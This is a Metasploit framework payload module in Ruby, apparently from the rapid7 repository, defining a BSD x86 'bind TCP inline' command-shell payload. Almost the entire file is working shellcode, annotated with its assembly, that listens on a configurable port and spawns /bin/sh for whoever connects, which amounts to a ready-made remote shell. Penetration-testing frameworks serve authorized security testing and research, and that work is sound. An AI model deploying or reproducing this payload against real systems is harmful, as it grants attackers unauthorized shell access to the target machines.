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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 73
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  include Msf::Payload::Single
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  include Msf::Payload::Bsd
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'BSD Command Shell, Bind TCP Inline',
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        'Description' => 'Listen for a connection and spawn a command shell',
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        'Author' => 'Ramon de C Valle',
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        'License' => MSF_LICENSE,
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        'Platform' => 'bsd',
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        'Arch' => ARCH_X86,
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        'Handler' => Msf::Handler::BindTcp,
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        'Session' => Msf::Sessions::CommandShellUnix,
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        'Payload' => {
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          'Offsets' =>
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                  {
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                    'LPORT' => [ 6, 'n' ]
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                  },
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          'Payload' =>
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                       "\x31\xc0" + #   xorl    %eax,%eax                  #
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                       "\x50" + #   pushl   %eax                       #
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                       "\x68\xff\x02\x04\xd2" + #   pushl   $0xd20402ff                #
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                       "\x89\xe7" + #   movl    %esp,%edi                  #
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                       "\x50" + #   pushl   %eax                       #
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                       "\x6a\x01" + #   pushl   $0x01                      #
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                       "\x6a\x02" + #   pushl   $0x02                      #
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                       "\x6a\x10" + #   pushl   $0x10                      #
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                       "\xb0\x61" + #   movb    $0x61,%al                  #
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                       "\xcd\x80" + #   int     $0x80                      #
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                       "\x57" + #   pushl   %edi                       #
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                       "\x50" + #   pushl   %eax                       #
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                       "\x50" + #   pushl   %eax                       #
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                       "\x6a\x68" + #   pushl   $0x68                      #
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                       "\x58" + #   popl    %eax                       #
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                       "\xcd\x80" + #   int     $0x80                      #
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                       "\x89\x47\xec" + #   movl    %eax,-0x14(%edi)           #
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                       "\xb0\x6a" + #   movb    $0x6a,%al                  #
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                       "\xcd\x80" + #   int     $0x80                      #
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                       "\xb0\x1e" + #   movb    $0x1e,%al                  #
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                       "\xcd\x80" + #   int     $0x80                      #
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                       "\x50" + #   pushl   %eax                       #
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                       "\x50" + #   pushl   %eax                       #
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                       "\x6a\x5a" + #   pushl   $0x5a                      #
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                       "\x58" + #   popl    %eax                       #
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                       "\xcd\x80" + #   int     $0x80                      #
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                       "\xff\x4f\xe4" + #   decl    -0x1c(%edi)                #
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                       "\x79\xf6" + #   jns     <bndsockcode+42>           #
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                       "\x50" + #   pushl   %eax                       #
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                       "\x68\x2f\x2f\x73\x68" + #   pushl   $0x68732f2f                #
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                       "\x68\x2f\x62\x69\x6e" + #   pushl   $0x6e69622f                #
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                       "\x89\xe3" + #   movl    %esp,%ebx                  #
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                       "\x50" + #   pushl   %eax                       #
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                       "\x54" + #   pushl   %esp                       #
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                       "\x53" + #   pushl   %ebx                       #
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                       "\x50" + #   pushl   %eax                       #
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                       "\xb0\x3b" + #   movb    $0x3b,%al                  #
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                       "\xcd\x80" #   int     $0x80                      #
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        }
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      )
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    )
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  end
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end
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